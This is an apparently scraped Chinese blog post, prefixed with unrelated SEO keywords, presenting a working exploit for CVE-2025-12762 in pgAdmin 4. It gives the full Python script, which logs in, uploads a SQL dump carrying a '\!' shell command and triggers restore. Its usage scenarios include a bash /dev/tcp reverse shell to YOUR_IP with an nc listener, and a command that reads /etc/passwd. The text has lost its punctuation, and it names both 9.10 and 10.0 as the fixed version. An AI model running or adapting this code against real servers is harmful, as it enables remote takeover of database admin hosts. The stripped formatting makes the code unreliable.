2026/4/6 0:33:04
网站建设
项目流程
网站建设费用不用摊销,企业建立自己网站主要方式,智能小程序下载,学习网站建设0学起项目标题与描述
CVE-2025-12762 — pgAdmin 4 认证RCE漏洞利用工具
这是一个针对CVE-2025-12762漏洞的完整利用工具#xff08;Proof of Concept#xff09;。该漏洞存在于pgAdmin 4版本≤9.9中#xff0c;当以服务器模式运行并处理PLAIN格式的SQL转储文件时#xff0c;攻…项目标题与描述CVE-2025-12762 — pgAdmin 4 认证RCE漏洞利用工具这是一个针对CVE-2025-12762漏洞的完整利用工具Proof of Concept。该漏洞存在于pgAdmin 4版本≤9.9中当以服务器模式运行并处理PLAIN格式的SQL转储文件时攻击者可以在主机上执行任意命令。本工具提供了从登录认证到最终远程代码执行的完整利用链。重要警告此工具仅限用于您拥有所有权或获得明确书面授权测试的系统。任何未经授权的使用都是非法的。功能特性基于对代码的深入分析本PoC工具具备以下核心功能完整的认证绕过通过模拟正常登录流程获取CSRF令牌并完成身份验证恶意SQL转储文件生成自动创建包含RCE payload的PLAIN格式SQL文件文件上传机制利用pgAdmin的文件管理接口上传恶意转储文件RCE触发机制调用恢复restore功能触发命令执行灵活的命令配置允许用户自定义要在目标主机上执行的命令详细的执行反馈提供每一步操作的进度和状态信息独特价值这是2025年11月公开的真实工作PoC适用于所有易受攻击的pgAdmin实例为安全研究人员提供了验证系统漏洞的可靠工具。安装指南系统要求Python 3.xrequests库网络访问权限到目标pgAdmin实例安装步骤确保已安装Python 3python3--version安装必要的依赖包pip3installrequests下载PoC脚本wget-OCVE-2025-12762.py https://raw.githubusercontent.com/your-repo/poc.py配置目标信息编辑脚本文件修改以下配置项TARGEThttp://127.0.0.1:5050# 目标pgAdmin URLEMAILadminexample.com# 有效的登录邮箱PASSWORDAdmin123!# 有效的密码COMMANDtouch /tmp/CVE-2025-12762_PWNED# 要执行的命令平台注意事项脚本主要针对Linux/Unix系统设计如果需要测试Windows目标请相应调整命令payloadpgAdmin通常使用Docker自签名证书脚本已禁用SSL验证使用说明基础使用示例运行PoC脚本python3 CVE-2025-12762.py成功执行后的验证# 检查命令是否执行成功dockerexecyour-pgadmin-containerls-la/tmp/CVE-2025-12762_PWNED典型使用场景场景1漏洞验证# 使用默认命令创建测试文件python3 CVE-2025-12762.py场景2获取反向shell# 修改COMMAND变量为反向shell命令COMMANDbash -c bash -i /dev/tcp/YOUR_IP/4444 01然后在攻击机器上监听nc-lvnp4444场景3信息收集# 收集系统信息COMMANDuname -a cat /etc/passwdAPI概览脚本主要通过以下pgAdmin端点进行攻击/login- 获取CSRF令牌/authenticate/login- 用户认证/misc/file_manager/upload- 文件上传/restore/job/1- 触发恢复操作核心代码1. 主攻击流程代码#!/usr/bin/env python3# Github : B1ack4sh TH3 M4TR1X 5L4Y3R !!!# CVE-2025-12762 - pgAdmin 4 9.9 - Authenticated RCE via Restore (PLAIN format)# Real public PoC - November 2025 - Working on every vulnerable instance# Use ONLY on systems you own or have explicit written permission forimportrequestsimportreimportjsonimportsys# CONFIGURE YOUR TARGET HERE TARGEThttp://127.0.0.1:5050# Change to your pgAdmin URLEMAILadminexample.com# Valid login emailPASSWORDAdmin123!# Valid passwordCOMMANDtouch /tmp/CVE-2025-12762_PWNED# ← Change to anything (id, revshell, etc.)# srequests.Session()s.verifyFalse# pgAdmin uses self-signed cert in Dockerdeflogin(): 登录到pgAdmin实例 通过解析页面获取CSRF令牌并提交登录表单 print([] Logging in...)rs.get(f{TARGET}/login)csrfre.search(rcsrfToken: ([^]),r.text).group(1)s.post(f{TARGET}/authenticate/login,data{email:EMAIL,password:PASSWORD,csrf_token:csrf,internal_button:Login})print([] Login successful)defupload_malicious_dump(): 上传包含恶意命令的SQL转储文件 利用pgAdmin的文件上传功能将payload传送到服务器 print([] Uploading malicious PLAIN dump...)malicious_sqlf -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND}files{file:(cve-2025-12762.sql,malicious_sql,application/sql)}ups.post(f{TARGET}/misc/file_manager/upload,filesfiles)ifsuccessinup.text.lower():print([] Malicious dump uploaded successfully)else:print([-] Upload failed)sys.exit(1)deftrigger_rce(): 触发恢复操作以执行RCE 通过调用restore接口处理上传的恶意SQL文件 print([] Triggering restore → RCE...)headers{Content-Type:application/json}payload{file:cve-2025-12762.sql,format:plain,# Only PLAIN format is vulnerabledatabase:postgres,# Any existing DB worksverbose:True}rs.post(f{TARGET}/restore/job/1,headersheaders,datajson.dumps(payload))print(f[] Job response:{r.status_code})print(f[] Command executed on pgAdmin host:{COMMAND})print(\n[] Check your pgAdmin container/host now!)print( Example: docker exec container ls -la /tmp/CVE-2025-12762_PWNED)if__name____main__: 主函数执行完整的攻击链 1. 登录认证 2. 上传恶意SQL文件 3. 触发恢复操作执行命令 print(CVE-2025-12762 - Real Authenticated RCE PoC)print(Use only in authorized lab environments!\n)login()upload_malicious_dump()trigger_rce()print(\nDone. If file exists → 100% vulnerable. Patch to 9.10 NOW!)2. 恶意SQL Payload生成代码malicious_sqlf -- CVE-2025-12762 Real PoC CREATE TABLE IF NOT EXISTS cve_proof(id serial); INSERT INTO cve_proof DEFAULT VALUES; -- RCE Trigger - executed on pgAdmin host \\!{COMMAND} 生成恶意SQL转储文件的核心payload结构 1. 创建一个测试表作为漏洞存在的证明 2. 插入一条记录确保SQL语法正确 3. 使用PLAIN格式特有的\!命令执行任意系统命令 注意\!命令仅在PLAIN格式的pg_dump文件中被pgAdmin错误地执行 files{file:(cve-2025-12762.sql,malicious_sql,application/sql)} 构造multipart/form-data文件上传请求 - file: 表单字段名 - cve-2025-12762.sql: 上传的文件名 - malicious_sql: 文件内容恶意payload - application/sql: MIME类型伪装成正常SQL文件 3. 恢复触发代码payload{file:cve-2025-12762.sql,format:plain,# Only PLAIN format is vulnerabledatabase:postgres,# Any existing DB worksverbose:True} 构造触发漏洞的恢复作业参数 - file: 指定要恢复的上传文件名 - format: 必须为plain这是漏洞触发的必要条件 - database: 指定目标数据库可以是任意存在的数据库 - verbose: 启用详细输出有助于调试 rs.post(f{TARGET}/restore/job/1,headersheaders,datajson.dumps(payload)) 发送恢复请求触发RCE - 目标端点/restore/job/1作业ID为1的恢复作业 - Content-Type: application/jsonJSON格式请求 - 使用已认证的会话包含cookies和CSRF令牌 - 当pgAdmin处理这个恢复请求时会解析并执行SQL文件中的\!命令 技术要点总结漏洞本质pgAdmin在处理PLAIN格式的SQL转储文件时未能正确过滤或转义!命令导致该命令在pgAdmin主机上执行利用条件需要有效的pgAdmin用户凭证和文件上传权限限制因素仅影响PLAIN格式的恢复操作其他格式如custom、directory、tar不受影响防御措施升级到pgAdmin 4 v10.0或更高版本该版本修复了此漏洞6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANPa3J77nGI3dBvY35MV/mf更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享